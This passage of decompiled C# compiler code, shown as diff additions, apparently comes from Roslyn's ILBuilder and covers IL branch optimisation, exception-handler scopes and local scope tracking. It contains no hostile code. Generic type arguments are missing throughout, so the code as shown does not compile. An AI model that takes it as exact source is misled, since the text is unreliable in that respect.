BasicBlock NextNontrivial + { + get + { + BasicBlock nextBlock = NextBlock; + while (nextBlock != null && nextBlock.BranchCode == ILOpCode.Nop && nextBlock.HasNoRegularInstructions) + { + nextBlock = nextBlock.NextBlock; + } + return nextBlock; + } + } + + public virtual int TotalSize + { + get + { + int num; + switch (BranchCode) + { + case ILOpCode.Nop: + num = 0; + break; + case ILOpCode.Ret: + case ILOpCode.Throw: + case ILOpCode.Endfinally: + num = 1; + break; + case ILOpCode.Endfilter: + case ILOpCode.Rethrow: + num = 2; + break; + default: + num = 1 + BranchCode.GetBranchOperandSize(); + break; + } + return RegularInstructionsLength + num; + } + } + + private static ObjectPool CreatePool(int size) + { + return new ObjectPool(() => new PooledBasicBlock(), size); + } + + protected BasicBlock() + { + } + + internal BasicBlock(ILBuilder builder) + { + Initialize(builder); + } + + internal void Initialize(ILBuilder builder) + { + this.builder = builder; + FirstILMarker = -1; + LastILMarker = -1; + } + + public void AddILMarker(int marker) + { + if (FirstILMarker < 0) + { + FirstILMarker = marker; + } + LastILMarker = marker; + } + + public void RemoveTailILMarker(int marker) + { + if (FirstILMarker == LastILMarker) + { + FirstILMarker = -1; + LastILMarker = -1; + } + else + { + LastILMarker--; + } + } + + internal virtual void Free() + { + if (_lazyRegularInstructions != null) + { + _lazyRegularInstructions.Free(); + _lazyRegularInstructions = null; + } + } + + public void SetBranchCode(ILOpCode newBranchCode) + { + BranchCode = newBranchCode; + } + + public void SetBranch(object newLabel, ILOpCode branchCode, ILOpCode revBranchCode) + { + SetBranch(newLabel, branchCode); + RevBranchCode = revBranchCode; + } + + public void SetBranch(object newLabel, ILOpCode branchCode) + { + BranchCode = branchCode; + if (_branchLabel == newLabel) + { + return; + } + _branchLabel = newLabel; + if (BranchCode.IsConditionalBranch()) + { + LabelInfo labelInfo = builder._labelInfos[newLabel]; + if (!labelInfo.targetOfConditionalBranches) + { + builder._labelInfos[newLabel] = labelInfo.SetTargetOfConditionalBranches(); + } + } + } + + internal void AdjustForDelta(int delta) + { + if (delta != 0) + { + Start += delta; + } + } + + internal void RewriteBranchesAcrossExceptionHandlers() + { + _ = EnclosingHandler; + BasicBlock branchBlock = BranchBlock; + if (branchBlock != null && branchBlock.EnclosingHandler != EnclosingHandler) + { + SetBranchCode(BranchCode.GetLeaveOpcode()); + } + } + + internal void ShortenBranches(ref int delta) + { + if (!IsBranchToLabel) + { + return; + } + ILOpCode branchCode = BranchCode; + if (branchCode.GetBranchOperandSize() != 1) + { + int start = BranchBlock.Start; + int num = ((start <= Start) ? (start - (Start + TotalSize + -3)) : (start - NextBlock.Start)); + if ((sbyte)num == num) + { + SetBranchCode(branchCode.GetShortBranch()); + delta += -3; + } + } + } + + internal bool OptimizeBranches(ref int delta) + { + if (IsBranchToLabel) + { + BasicBlock nextNontrivial = NextNontrivial; + if (nextNontrivial != null) + { + if (TryOptimizeSameAsNext(nextNontrivial, ref delta)) + { + return true; + } + if (TryOptimizeBranchToNextOrRet(nextNontrivial, ref delta)) + { + return true; + } + if (TryOptimizeBranchOverUncondBranch(nextNontrivial, ref delta)) + { + return true; + } + if (TryOptimizeBranchToEquivalent(nextNontrivial, ref delta)) + { + return true; + } + } + } + return false; + } + + private bool TryOptimizeSameAsNext(BasicBlock next, ref int delta) + { + if (next.HasNoRegularInstructions && next.BranchCode == BranchCode && next.BranchBlock.Start == BranchBlock.Start && next.EnclosingHandler == EnclosingHandler) + { + int num = BranchCode.Size() + BranchCode.GetBranchOperandSize(); + delta -= num; + SetBranch(null, ILOpCode.Nop); + if (HasNoRegularInstructions) + { + SmallDictionary labelInfos = builder._labelInfos; + SmallDictionary.KeyCollection.Enumerator enumerator = labelInfos.Keys.GetEnumerator(); + while (enumerator.MoveNext()) + { + object current = enumerator.Current; + LabelInfo labelInfo = labelInfos[current]; + if (labelInfo.bb == this) + { + labelInfos[current] = labelInfo.WithNewTarget(next); + } + } + } + return true; + } + return false; + } + + private bool TryOptimizeBranchOverUncondBranch(BasicBlock next, ref int delta) + { + if (next.HasNoRegularInstructions && next.NextBlock != null && next.NextBlock.Start == BranchBlock.Start && (next.BranchCode == ILOpCode.Br || next.BranchCode == ILOpCode.Br_s) && next.BranchBlock != next) + { + ILOpCode iLOpCode = GetReversedBranchOp(); + if (iLOpCode != ILOpCode.Nop) + { + BasicBlock nextBlock = NextBlock; + BasicBlock branchBlock = BranchBlock; + while (nextBlock != branchBlock) + { + nextBlock.Reachability = Reachability.NotReachable; + nextBlock = nextBlock.NextBlock; + } + next.Reachability = Reachability.NotReachable; + delta -= next.TotalSize; + if (next.BranchCode == ILOpCode.Br_s) + { + iLOpCode = iLOpCode.GetShortBranch(); + } + NextBlock = BranchBlock; + ILOpCode branchCode = BranchCode; + SetBranch(next.BranchLabel, iLOpCode, branchCode); + return true; + } + } + return false; + } + + private bool TryOptimizeBranchToNextOrRet(BasicBlock next, ref int delta) + { + ILOpCode branchCode = BranchCode; + if (branchCode == ILOpCode.Br || branchCode == ILOpCode.Br_s) + { + if (BranchBlock.Start - next.Start == 0) + { + SetBranch(null, ILOpCode.Nop); + delta -= branchCode.Size() + branchCode.GetBranchOperandSize(); + return true; + } + if (BranchBlock.HasNoRegularInstructions && BranchBlock.BranchCode == ILOpCode.Ret) + { + SetBranch(null, ILOpCode.Ret); + delta -= branchCode.Size() + branchCode.GetBranchOperandSize() - 1; + return true; + } + } + return false; + } + + private bool TryOptimizeBranchToEquivalent(BasicBlock next, ref int delta) + { + ILOpCode branchCode = BranchCode; + if (branchCode.IsConditionalBranch() && next.EnclosingHandler == EnclosingHandler && (BranchBlock.Start - next.Start == 0 || AreIdentical(BranchBlock, next))) + { + SetBranch(null, ILOpCode.Nop); + Writer.WriteByte(38); + delta -= branchCode.Size() + branchCode.GetBranchOperandSize() - 1; + if (branchCode.IsRelationalBranch()) + { + Writer.WriteByte(38); + delta++; + } + return true; + } + return false; + } + + private static bool AreIdentical(BasicBlock one, BasicBlock another) + { + if (one._branchCode == another._branchCode && !one._branchCode.CanFallThrough() && one._branchLabel == another._branchLabel) + { + BlobBuilder regularInstructions = one.RegularInstructions; + BlobBuilder regularInstructions2 = another.RegularInstructions; + if (regularInstructions != regularInstructions2) + { + return regularInstructions?.ContentEquals(regularInstructions2) ?? false; + } + return true; + } + return false; + } + + private ILOpCode GetReversedBranchOp() + { + ILOpCode iLOpCode = RevBranchCode; + if (iLOpCode != ILOpCode.Nop) + { + return iLOpCode; + } + switch (BranchCode) + { + case ILOpCode.Brfalse_s: + case ILOpCode.Brfalse: + iLOpCode = ILOpCode.Brtrue; + break; + case ILOpCode.Brtrue_s: + case ILOpCode.Brtrue: + iLOpCode = ILOpCode.Brfalse; + break; + case ILOpCode.Beq_s: + case ILOpCode.Beq: + iLOpCode = ILOpCode.Bne_un; + break; + case ILOpCode.Bne_un_s: + case ILOpCode.Bne_un: + iLOpCode = ILOpCode.Beq; + break; + } + return iLOpCode; + } + + private string GetDebuggerDisplay() + { + return ""; + } + } + + internal class BasicBlockWithHandlerScope : BasicBlock + { + public readonly ExceptionHandlerScope enclosingHandler; + + public override ExceptionHandlerScope EnclosingHandler => enclosingHandler; + + public BasicBlockWithHandlerScope(ILBuilder builder, ExceptionHandlerScope enclosingHandler) + : base(builder) + { + this.enclosingHandler = enclosingHandler; + } + } + + internal sealed class ExceptionHandlerLeaderBlock : BasicBlockWithHandlerScope + { + private readonly BlockType _type; + + public ExceptionHandlerLeaderBlock NextExceptionHandler; + + public override BlockType Type => _type; + + public ExceptionHandlerLeaderBlock(ILBuilder builder, ExceptionHandlerScope enclosingHandler, BlockType type) + : base(builder, enclosingHandler) + { + _type = type; + } + + public override string ToString() + { + return $"[{_type}] {base.ToString()}"; + } + } + + internal sealed class SwitchBlock : BasicBlockWithHandlerScope + { + public object[] BranchLabels; + + public override BlockType Type => BlockType.Switch; + + public uint BranchesCount => (uint)BranchLabels.Length; + + public override int TotalSize + { + get + { + uint num = 5 + 4 * BranchesCount; + return (int)(base.RegularInstructionsLength + num); + } + } + + public SwitchBlock(ILBuilder builder, ExceptionHandlerScope enclosingHandler) + : base(builder, enclosingHandler) + { + SetBranchCode(ILOpCode.Switch); + } + + public void GetBranchBlocks(ArrayBuilder branchBlocksBuilder) + { + object[] branchLabels = BranchLabels; + foreach (object key in branchLabels) + { + branchBlocksBuilder.Add(builder._labelInfos[key].bb); + } + } + } + + private struct EmitState + { + private int _maxStack; + + private int _curStack; + + private int _instructionsEmitted; + + internal int InstructionsEmitted => _instructionsEmitted; + + internal int MaxStack + { + get + { + return _maxStack; + } + private set + { + _maxStack = value; + } + } + + internal int CurStack + { + get + { + return _curStack; + } + private set + { + _curStack = value; + } + } + + internal void InstructionAdded() + { + _instructionsEmitted++; + } + + internal void AdjustStack(int count) + { + CurStack += count; + MaxStack = Math.Max(MaxStack, CurStack); + } + } + + private struct ILMarker + { + public int BlockOffset; + + public int AbsoluteOffset; + } + + private readonly struct LabelInfo + { + internal readonly int stack; + + internal readonly BasicBlock? bb; + + internal readonly bool targetOfConditionalBranches; + + internal LabelInfo(int stack, bool targetOfConditionalBranches) + : this(null, stack, targetOfConditionalBranches) + { + } + + internal LabelInfo(BasicBlock? bb, int stack, bool targetOfConditionalBranches) + { + this.stack = stack; + this.bb = bb; + this.targetOfConditionalBranches = targetOfConditionalBranches; + } + + internal LabelInfo WithNewTarget(BasicBlock? bb) + { + return new LabelInfo(bb, stack, targetOfConditionalBranches); + } + + internal LabelInfo SetTargetOfConditionalBranches() + { + return new LabelInfo(bb, stack, targetOfConditionalBranches: true); + } + } + + private sealed class LocalScopeManager + { + private readonly LocalScopeInfo _rootScope; + + private readonly Stack _scopes; + + private ExceptionHandlerScope _enclosingExceptionHandler; + + private ScopeInfo CurrentScope => _scopes.Peek(); + + internal ExceptionHandlerScope EnclosingExceptionHandler => _enclosingExceptionHandler; + + internal LocalScopeManager() + { + _rootScope = new LocalScopeInfo(); + _scopes = new Stack(1); + _scopes.Push(_rootScope); + } + + internal ScopeInfo OpenScope(ScopeType scopeType, ITypeReference exceptionType) + { + ScopeInfo scopeInfo = CurrentScope.OpenScope(scopeType, exceptionType, _enclosingExceptionHandler); + _scopes.Push(scopeInfo); + if (scopeInfo.IsExceptionHandler) + { + _enclosingExceptionHandler = (ExceptionHandlerScope)scopeInfo; + } + return scopeInfo; + } + + internal void FinishFilterCondition(ILBuilder builder) + { + CurrentScope.FinishFilterCondition(builder); + } + + internal void ClosingScope(ILBuilder builder) + { + CurrentScope.ClosingScope(builder); + } + + internal void CloseScope(ILBuilder builder) + { + ScopeInfo scopeInfo = _scopes.Pop(); + scopeInfo.CloseScope(builder); + if (scopeInfo.IsExceptionHandler) + { + _enclosingExceptionHandler = GetEnclosingExceptionHandler(); + } + } + + private ExceptionHandlerScope GetEnclosingExceptionHandler() + { + foreach (ScopeInfo scope in _scopes) + { + ScopeType type = scope.Type; + if ((uint)(type - 2) <= 4u) + { + return (ExceptionHandlerScope)scope; + } + } + return null; + } + + internal BasicBlock CreateBlock(ILBuilder builder) + { + return ((LocalScopeInfo)CurrentScope).CreateBlock(builder); + } + + internal SwitchBlock CreateSwitchBlock(ILBuilder builder) + { + return ((LocalScopeInfo)CurrentScope).CreateSwitchBlock(builder); + } + + internal void AddLocal(LocalDefinition variable) + { + ((LocalScopeInfo)CurrentScope).AddLocal(variable); + } + + internal void AddLocalConstant(LocalConstantDefinition constant) + { + ((LocalScopeInfo)CurrentScope).AddLocalConstant(constant); + } + + internal ImmutableArray GetAllScopesWithLocals() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ScopeBounds localScopes = _rootScope.GetLocalScopes(instance); + int num = localScopes.End - localScopes.Begin; + if (instance.Count > 0 && instance[instance.Count - 1].Length != num) + { + instance.Add(new Microsoft.Cci.LocalScope(0, num, ImmutableArray.Empty, ImmutableArray.Empty)); + } + instance.Sort(ScopeComparer.Instance); + return instance.ToImmutableAndFree(); + } + + internal ImmutableArray GetExceptionHandlerRegions() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + _rootScope.GetExceptionHandlerRegions(instance); + return instance.ToImmutableAndFree(); + } + + internal ImmutableArray GetHoistedLocalScopes() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + _rootScope.GetHoistedLocalScopes(instance); + return instance.ToImmutableAndFree(); + } + + internal void AddUserHoistedLocal(int slotIndex) + { + ((LocalScopeInfo)CurrentScope).AddUserHoistedLocal(slotIndex); + } + + internal void FreeBasicBlocks() + { + _rootScope.FreeBasicBlocks(); + } + + internal bool PossiblyDefinedOutsideOfTry(LocalDefinition local) + { + foreach (ScopeInfo scope in _scopes) + { + if (scope.ContainsLocal(local)) + { + return false; + } + if (scope.Type == ScopeType.Try) + { + return true; + } + } + return true; + } + } + + internal abstract class ScopeInfo + { + public abstract ScopeType Type { get; } + + public bool IsExceptionHandler + { + get + { + ScopeType type = Type; + if ((uint)(type - 2) <= 4u) + { + return true; + } + return false; + } + } + + public virtual ScopeInfo OpenScope(ScopeType scopeType, ITypeReference exceptionType, ExceptionHandlerScope currentHandler) + { + if (scopeType == ScopeType.TryCatchFinally) + { + return new ExceptionHandlerContainerScope(currentHandler); + } + return new LocalScopeInfo(); + } + + public virtual void ClosingScope(ILBuilder builder) + { + } + + public virtual void CloseScope(ILBuilder builder) + { + } + + public virtual void FinishFilterCondition(ILBuilder builder) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/CodeGen/LocalScopeManager.cs", 229); + } + + internal abstract void GetExceptionHandlerRegions(ArrayBuilder regions); + + internal abstract ScopeBounds GetLocalScopes(ArrayBuilder result); + + protected static ScopeBounds GetLocalScopes(ArrayBuilder result, ImmutableArray.Builder scopes) where TScopeInfo : ScopeInfo + { + int num = int.MaxValue; + int num2 = 0; + foreach (TScopeInfo scope in scopes) + { + ScopeBounds localScopes = scope.GetLocalScopes(result); + num = Math.Min(num, localScopes.Begin); + num2 = Math.Max(num2, localScopes.End); + } + return new ScopeBounds(num, num2); + } + + internal abstract ScopeBounds GetHoistedLocalScopes(ArrayBuilder result); + + protected static ScopeBounds GetHoistedLocalScopes(ArrayBuilder result, ImmutableArray.Builder scopes) where TScopeInfo : ScopeInfo + { + int num = int.MaxValue; + int num2 = 0; + foreach (TScopeInfo scope in scopes) + { + ScopeBounds hoistedLocalScopes = scope.GetHoistedLocalScopes(result); + num = Math.Min(num, hoistedLocalScopes.Begin); + num2 = Math.Max(num2, hoistedLocalScopes.End); + } + return new ScopeBounds(num, num2); + } + + public abstract void FreeBasicBlocks(); + + internal virtual bool ContainsLocal(LocalDefinition local) + { + return false; + } + } + + internal class LocalScopeInfo : ScopeInfo + { + private ImmutableArray.Builder _localVariables; + + private ImmutableArray.Builder _localConstants; + + private ImmutableArray.Builder _stateMachineUserHoistedLocalSlotIndices; + + private ImmutableArray.Builder _nestedScopes; + + protected ImmutableArray.Builder Blocks; + + public override ScopeType Type => ScopeType.Variable; + + public override ScopeInfo OpenScope(ScopeType scopeType, ITypeReference exceptionType, ExceptionHandlerScope currentExceptionHandler) + { + ScopeInfo scopeInfo = base.OpenScope(scopeType, exceptionType, currentExceptionHandler); + if (_nestedScopes == null) + { + _nestedScopes = ImmutableArray.CreateBuilder(1); + } + _nestedScopes.Add(scopeInfo); + return scopeInfo; + } + + internal void AddLocal(LocalDefinition variable) + { + if (_localVariables == null) + { + _localVariables = ImmutableArray.CreateBuilder(1); + } + _localVariables.Add(variable); + } + + internal void AddLocalConstant(LocalConstantDefinition constant) + { + if (_localConstants == null) + { + _localConstants = ImmutableArray.CreateBuilder(1); + } + _localConstants.Add(constant); + } + + internal void AddUserHoistedLocal(int slotIndex) + { + if (_stateMachineUserHoistedLocalSlotIndices == null) + { + _stateMachineUserHoistedLocalSlotIndices = ImmutableArray.CreateBuilder(1); + } + _stateMachineUserHoistedLocalSlotIndices.Add(slotIndex); + } + + internal override bool ContainsLocal(LocalDefinition local) + { + return _localVariables?.Contains(local) ?? false; + } + + public virtual BasicBlock CreateBlock(ILBuilder builder) + { + ExceptionHandlerScope enclosingExceptionHandler = builder.EnclosingExceptionHandler; + BasicBlock basicBlock = ((enclosingExceptionHandler == null) ? AllocatePooledBlock(builder) : new BasicBlockWithHandlerScope(builder, enclosingExceptionHandler)); + AddBlock(basicBlock); + return basicBlock; + } + + private static BasicBlock AllocatePooledBlock(ILBuilder builder) + { + BasicBlock basicBlock = BasicBlock.Pool.Allocate(); + basicBlock.Initialize(builder); + return basicBlock; + } + + public SwitchBlock CreateSwitchBlock(ILBuilder builder) + { + SwitchBlock switchBlock = new SwitchBlock(builder, builder.EnclosingExceptionHandler); + AddBlock(switchBlock); + return switchBlock; + } + + protected void AddBlock(BasicBlock block) + { + if (Blocks == null) + { + Blocks = ImmutableArray.CreateBuilder(4); + } + Blocks.Add(block); + } + + internal override void GetExceptionHandlerRegions(ArrayBuilder regions) + { + if (_nestedScopes != null) + { + int i = 0; + for (int count = _nestedScopes.Count; i < count; i++) + { + _nestedScopes[i].GetExceptionHandlerRegions(regions); + } + } + } + + internal override ScopeBounds GetLocalScopes(ArrayBuilder result) + { + int num = int.MaxValue; + int num2 = 0; + if (Blocks != null) + { + for (int i = 0; i < Blocks.Count; i++) + { + BasicBlock basicBlock = Blocks[i]; + if (basicBlock.Reachability != Reachability.NotReachable) + { + num = Math.Min(num, basicBlock.Start); + num2 = Math.Max(num2, basicBlock.Start + basicBlock.TotalSize); + } + } + } + if (_nestedScopes != null) + { + ScopeBounds localScopes = ScopeInfo.GetLocalScopes(result, _nestedScopes); + num = Math.Min(num, localScopes.Begin); + num2 = Math.Max(num2, localScopes.End); + } + if ((_localVariables != null || _localConstants != null) && num2 > num) + { + Microsoft.Cci.LocalScope item = new Microsoft.Cci.LocalScope(num, num2, ((IEnumerable?)_localConstants).AsImmutableOrEmpty(), ((IEnumerable?)_localVariables).AsImmutableOrEmpty()); + result.Add(item); + } + return new ScopeBounds(num, num2); + } + + internal override ScopeBounds GetHoistedLocalScopes(ArrayBuilder result) + { + int num = int.MaxValue; + int num2 = 0; + if (Blocks != null) + { + for (int i = 0; i < Blocks.Count; i++) + { + BasicBlock basicBlock = Blocks[i]; + if (basicBlock.Reachability != Reachability.NotReachable) + { + num = Math.Min(num, basicBlock.Start); + num2 = Math.Max(num2, basicBlock.Start + basicBlock.TotalSize); + } + } + } + if (_nestedScopes != null) + { + ScopeBounds hoistedLocalScopes = ScopeInfo.GetHoistedLocalScopes(result, _nestedScopes); + num = Math.Min(num, hoistedLocalScopes.Begin); + num2 = Math.Max(num2, hoistedLocalScopes.End); + } + if (_stateMachineUserHoistedLocalSlotIndices != null && num2 > num) + { + StateMachineHoistedLocalScope value = new StateMachineHoistedLocalScope(num, num2); + foreach (int stateMachineUserHoistedLocalSlotIndex in _stateMachineUserHoistedLocalSlotIndices) + { + while (result.Count <= stateMachineUserHoistedLocalSlotIndex) + { + result.Add(default(StateMachineHoistedLocalScope)); + } + result[stateMachineUserHoistedLocalSlotIndex] = value; + } + } + return new ScopeBounds(num, num2); + } + + public override void FreeBasicBlocks() + { + if (Blocks != null) + { + int i = 0; + for (int count = Blocks.Count; i < count; i++) + { + Blocks[i].Free(); + } + } + if (_nestedScopes != null) + { + int j = 0; + for (int count2 = _nestedScopes.Count; j < count2; j++) + { + _nestedScopes[j].FreeBasicBlocks(); + } + } + } + } + + internal sealed class ExceptionHandlerScope : LocalScopeInfo + { + private readonly ExceptionHandlerContainerScope _containingScope; + + private readonly ScopeType _type; + + private readonly ITypeReference _exceptionType; + + private BasicBlock _lastFilterConditionBlock; + + private object _blockedByFinallyDestination; + + public ExceptionHandlerContainerScope ContainingExceptionScope => _containingScope; + + public override ScopeType Type => _type; + + public ITypeReference ExceptionType => _exceptionType; + + public object BlockedByFinallyDestination => _blockedByFinallyDestination; + + public int FilterHandlerStart => _lastFilterConditionBlock.Start + _lastFilterConditionBlock.TotalSize; + + public BasicBlock LastFilterConditionBlock => _lastFilterConditionBlock; + + public ExceptionHandlerLeaderBlock LeaderBlock => (ExceptionHandlerLeaderBlock)(Blocks?[0]); + + public ExceptionHandlerScope(ExceptionHandlerContainerScope containingScope, ScopeType type, ITypeReference exceptionType) + { + _containingScope = containingScope; + _type = type; + _exceptionType = exceptionType; + } + + public void SetBlockedByFinallyDestination(object label) + { + _blockedByFinallyDestination = label; + } + + public void UnblockFinally() + { + _blockedByFinallyDestination = null; + } + + public override void FinishFilterCondition(ILBuilder builder) + { + _lastFilterConditionBlock = builder.FinishFilterCondition(); + } + + public override void ClosingScope(ILBuilder builder) + { + ScopeType type = _type; + if ((uint)(type - 5) <= 1u) + { + builder.EmitEndFinally(); + return; + } + object endLabel = _containingScope.EndLabel; + builder.EmitBranch(ILOpCode.Br, endLabel); + } + + public override void CloseScope(ILBuilder builder) + { + } + + public override BasicBlock CreateBlock(ILBuilder builder) + { + BasicBlockWithHandlerScope basicBlockWithHandlerScope = ((Blocks == null) ? new ExceptionHandlerLeaderBlock(builder, this, GetLeaderBlockType()) : new BasicBlockWithHandlerScope(builder, this)); + AddBlock(basicBlockWithHandlerScope); + return basicBlockWithHandlerScope; + } + + private BlockType GetLeaderBlockType() + { + return _type switch + { + ScopeType.Try => BlockType.Try, + ScopeType.Catch => BlockType.Catch, + ScopeType.Filter => BlockType.Filter, + ScopeType.Finally => BlockType.Finally, + _ => BlockType.Fault, + }; + } + + public override void FreeBasicBlocks() + { + base.FreeBasicBlocks(); + } + } + + internal sealed class ExceptionHandlerContainerScope : ScopeInfo + { + private readonly ImmutableArray.Builder _handlers; + + private readonly object _endLabel; + + private readonly ExceptionHandlerScope _containingHandler; + + public ExceptionHandlerScope ContainingHandler => _containingHandler; + + public object EndLabel => _endLabel; + + public override ScopeType Type => ScopeType.TryCatchFinally; + + public ExceptionHandlerContainerScope(ExceptionHandlerScope containingHandler) + { + _handlers = ImmutableArray.CreateBuilder(2); + _containingHandler = containingHandler; + _endLabel = new object(); + } + + public override ScopeInfo OpenScope(ScopeType scopeType, ITypeReference exceptionType, ExceptionHandlerScope currentExceptionHandler) + { + ExceptionHandlerScope exceptionHandlerScope = new ExceptionHandlerScope(this, scopeType, exceptionType); + _handlers.Add(exceptionHandlerScope); + return exceptionHandlerScope; + } + + public override void CloseScope(ILBuilder builder) + { + ExceptionHandlerLeaderBlock exceptionHandlerLeaderBlock = _handlers[0].LeaderBlock; + for (int i = 1; i < _handlers.Count; i++) + { + exceptionHandlerLeaderBlock = (exceptionHandlerLeaderBlock.NextExceptionHandler = _handlers[i].LeaderBlock); + } + builder.MarkLabel(_endLabel); + builder.DefineHiddenSequencePoint(); + if (_handlers[1].Type == ScopeType.Finally) + { + builder.EmitBranch(ILOpCode.Nop, _endLabel); + _handlers[1].SetBlockedByFinallyDestination(_endLabel); + } + } + + internal override void GetExceptionHandlerRegions(ArrayBuilder regions) + { + ExceptionHandlerScope exceptionHandlerScope = null; + ScopeBounds scopeBounds = default(ScopeBounds); + foreach (ExceptionHandlerScope handler in _handlers) + { + handler.GetExceptionHandlerRegions(regions); + ScopeBounds bounds = GetBounds(handler); + if (exceptionHandlerScope == null) + { + exceptionHandlerScope = handler; + scopeBounds = bounds; + if (exceptionHandlerScope.LeaderBlock.Reachability != Reachability.Reachable) + { + break; + } + } + else + { + regions.Add(handler.Type switch + { + ScopeType.Finally => new ExceptionHandlerRegionFinally(scopeBounds.Begin, scopeBounds.End, bounds.Begin, bounds.End), + ScopeType.Fault => new ExceptionHandlerRegionFault(scopeBounds.Begin, scopeBounds.End, bounds.Begin, bounds.End), + ScopeType.Catch => new ExceptionHandlerRegionCatch(scopeBounds.Begin, scopeBounds.End, bounds.Begin, bounds.End, handler.ExceptionType), + ScopeType.Filter => new ExceptionHandlerRegionFilter(scopeBounds.Begin, scopeBounds.End, handler.FilterHandlerStart, bounds.End, bounds.Begin), + _ => throw ExceptionUtilities.UnexpectedValue(handler.Type), + }); + } + } + } + + internal override ScopeBounds GetLocalScopes(ArrayBuilder scopesWithVariables) + { + return ScopeInfo.GetLocalScopes(scopesWithVariables, _handlers); + } + + internal override ScopeBounds GetHoistedLocalScopes(ArrayBuilder result) + { + return ScopeInfo.GetHoistedLocalScopes(result, _handlers); + } + + private static ScopeBounds GetBounds(ExceptionHandlerScope scope) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ScopeBounds localScopes = scope.GetLocalScopes(instance); + instance.Free(); + return localScopes; + } + + public override void FreeBasicBlocks() + { + foreach (ExceptionHandlerScope handler in _handlers) + { + handler.FreeBasicBlocks(); + } + } + + internal bool FinallyOnly() + { + ExceptionHandlerContainerScope exceptionHandlerContainerScope = this; + do + { + ImmutableArray.Builder handlers = exceptionHandlerContainerScope._handlers; + if (handlers.Count != 2 || handlers[1].Type != ScopeType.Finally) + { + return false; + } + exceptionHandlerContainerScope = exceptionHandlerContainerScope._containingHandler?.ContainingExceptionScope; + } + while (exceptionHandlerContainerScope != null); + return true; + } + } + + internal readonly struct ScopeBounds + { + internal readonly int Begin; + + internal readonly int End; + + internal ScopeBounds(int begin, int end) + { + Begin = begin; + End = end; + } + } + + private sealed class ScopeComparer : IComparer + { + public static readonly ScopeComparer Instance = new ScopeComparer(); + + private ScopeComparer() + { + } + + public int Compare(Microsoft.Cci.LocalScope x, Microsoft.Cci.LocalScope y) + { + int startOffset = x.StartOffset; + int num = startOffset.CompareTo(y.StartOffset); + if (num != 0) + { + return num; + } + startOffset = y.EndOffset; + return startOffset.CompareTo(x.EndOffset); + } + } + + private readonly OptimizationLevel _optimizations; + + internal readonly LocalSlotManager LocalSlotManager; + + private readonly LocalScopeManager _scopeManager; + + internal readonly ITokenDeferral module; + + internal readonly BasicBlock leaderBlock; + + private EmitState _emitState; + + private BasicBlock _lastCompleteBlock; + + private BasicBlock _currentBlock; + + private SyntaxTree _lastSeqPointTree; + + private readonly SmallDictionary _labelInfos; + + private readonly bool _areLocalsZeroed; + + private int _instructionCountAtLastLabel = -1; + + internal ImmutableArray RealizedIL; + + internal ImmutableArray RealizedExceptionHandlers; + + internal SequencePointList RealizedSequencePoints; + + public ArrayBuilder SeqPointsOpt; + + private ArrayBuilder _allocatedILMarkers; + + private bool _pendingBlockCreate; + + private int _initialHiddenSequencePointMarker = -1; + + public bool AreLocalsZeroed => _areLocalsZeroed; + + private ExceptionHandlerScope EnclosingExceptionHandler => _scopeManager.EnclosingExceptionHandler; + + internal bool InExceptionHandler => EnclosingExceptionHandler != null; + + internal ushort MaxStack => (ushort)_emitState.MaxStack; + + internal int InstructionsEmitted => _emitState.InstructionsEmitted; + + internal bool HasDynamicLocal { get; private set; } + + internal bool IsStackEmpty => _emitState.CurStack == 0; + + internal ILBuilder(ITokenDeferral module, LocalSlotManager localSlotManager, OptimizationLevel optimizations, bool areLocalsZeroed) + { + this.module = module; + LocalSlotManager = localSlotManager; + _emitState = default(EmitState); + _scopeManager = new LocalScopeManager(); + leaderBlock = (_currentBlock = _scopeManager.CreateBlock(this)); + _labelInfos = new SmallDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + _optimizations = optimizations; + _areLocalsZeroed = areLocalsZeroed; + } + + private BasicBlock GetCurrentBlock() + { + if (_currentBlock == null) + { + CreateBlock(); + } + return _currentBlock; + } + + private void CreateBlock() + { + BasicBlock block = _scopeManager.CreateBlock(this); + UpdatesForCreatedBlock(block); + } + + private SwitchBlock CreateSwitchBlock() + { + EndBlock(); + SwitchBlock switchBlock = _scopeManager.CreateSwitchBlock(this); + UpdatesForCreatedBlock(switchBlock); + return switchBlock; + } + + private void UpdatesForCreatedBlock(BasicBlock block) + { + _currentBlock = block; + _lastCompleteBlock.NextBlock = block; + _pendingBlockCreate = false; + ReconcileTrailingMarkers(); + } + + private void CreateBlockIfPending() + { + if (_pendingBlockCreate) + { + CreateBlock(); + } + } + + private void EndBlock() + { + CreateBlockIfPending(); + if (_currentBlock != null) + { + _lastCompleteBlock = _currentBlock; + _currentBlock = null; + } + } + + private void ReconcileTrailingMarkers() + { + if (_lastCompleteBlock == null || _lastCompleteBlock.BranchCode != ILOpCode.Nop || _lastCompleteBlock.LastILMarker < 0 || _allocatedILMarkers[_lastCompleteBlock.LastILMarker].BlockOffset != _lastCompleteBlock.RegularInstructionsLength) + { + return; + } + int num = -1; + int num2 = -1; + while (_lastCompleteBlock.LastILMarker >= 0 && _allocatedILMarkers[_lastCompleteBlock.LastILMarker].BlockOffset == _lastCompleteBlock.RegularInstructionsLength) + { + num = _lastCompleteBlock.LastILMarker; + if (num2 < 0) + { + num2 = _lastCompleteBlock.LastILMarker; + } + _lastCompleteBlock.RemoveTailILMarker(_lastCompleteBlock.LastILMarker); + } + BasicBlock currentBlock = GetCurrentBlock(); + for (int i = num; i <= num2; i++) + { + currentBlock.AddILMarker(i); + _allocatedILMarkers[i] = new ILMarker + { + BlockOffset = currentBlock.RegularInstructionsLength, + AbsoluteOffset = -1 + }; + } + } + + internal void Realize() + { + if (RealizedIL.IsDefault) + { + RealizeBlocks(); + _currentBlock = null; + _lastCompleteBlock = null; + } + } + + internal ImmutableArray GetAllScopes() + { + return _scopeManager.GetAllScopesWithLocals(); + } + + internal ImmutableArray GetHoistedLocalScopes() + { + return _scopeManager.GetHoistedLocalScopes(); + } + + internal void FreeBasicBlocks() + { + _scopeManager.FreeBasicBlocks(); + if (SeqPointsOpt != null) + { + SeqPointsOpt.Free(); + SeqPointsOpt = null; + } + if (_allocatedILMarkers != null) + { + _allocatedILMarkers.Free(); + _allocatedILMarkers = null; + } + } + + private void MarkReachableBlocks() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + MarkReachableFrom(instance, leaderBlock); + while (instance.Count != 0) + { + MarkReachableFrom(instance, instance.Pop()); + } + 